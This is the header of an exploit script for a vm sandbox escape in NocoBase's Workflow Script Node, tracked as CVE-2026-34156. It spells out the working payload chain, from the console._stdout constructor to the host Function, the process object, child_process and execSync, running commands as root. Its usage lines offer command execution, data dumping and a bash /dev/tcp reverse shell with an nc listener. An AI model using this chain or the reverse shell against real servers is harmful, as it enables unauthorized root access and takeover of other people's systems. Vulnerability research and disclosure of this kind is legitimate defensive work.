# Exploit Title: NocoBase 2.0.27 - VM Sandbox Escape
# Date: 2026-03-26
# Exploit Author: Onurcan Genç
# Vendor Homepage: https://www.nocobase.com/
# Software Link: https://github.com/nocobase/nocobase
# Version: <= 2.0.27 β patched in 2.0.28
# Tested on: Debian GNU/Linux 12 (bookworm) / Docker / Node.js v20.20.1
# CVE: CVE-2026-34156
# Advisory: https://github.com/nocobase/nocobase/security/advisories/GHSA-px3p-vgh9-m57c
# CWE: CWE-913
# CVSS: 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
#
# Description:
# NocoBase's Workflow Script Node executes user-supplied JavaScript inside
# a Node.js vm sandbox with a custom require allowlist. However, the console
# object passed into the sandbox exposes host-realm WritableWorkerStdio
# stream objects (console._stdout / console._stderr). By traversing the
# prototype chain (.constructor.constructor), an attacker obtains the host
# realm's Function constructor, accesses the process object, and uses
# process.mainModule.require to load child_process β bypassing the sandbox
# and achieving Remote Code Execution as root.
#
# Exploitation chain:
# console._stdout.constructor.constructor β host-realm Function
# Function('return process')() β Node.js process object
# process.mainModule.require('child_process') β unrestricted module
# child_process.execSync('id') β RCE as root
#
# Usage:
# python3 exploit.py -t <TARGET> -u <USER> -P <PASS> --cmd "id"
# python3 exploit.py -t <TARGET> -u <USER> -P <PASS> --dump
# python3 exploit.py -t <TARGET> -u <USER> -P <PASS> -l <LHOST> -p <LPORT>
#
# Notes:
# - Requires valid credentials (any user with workflow access)
# - Vulnerability check runs automatically before exploitation
# - Default reverse shell uses bash /dev/tcp (Debian-based containers)
# - Start listener before running: nc -lvnp 4444
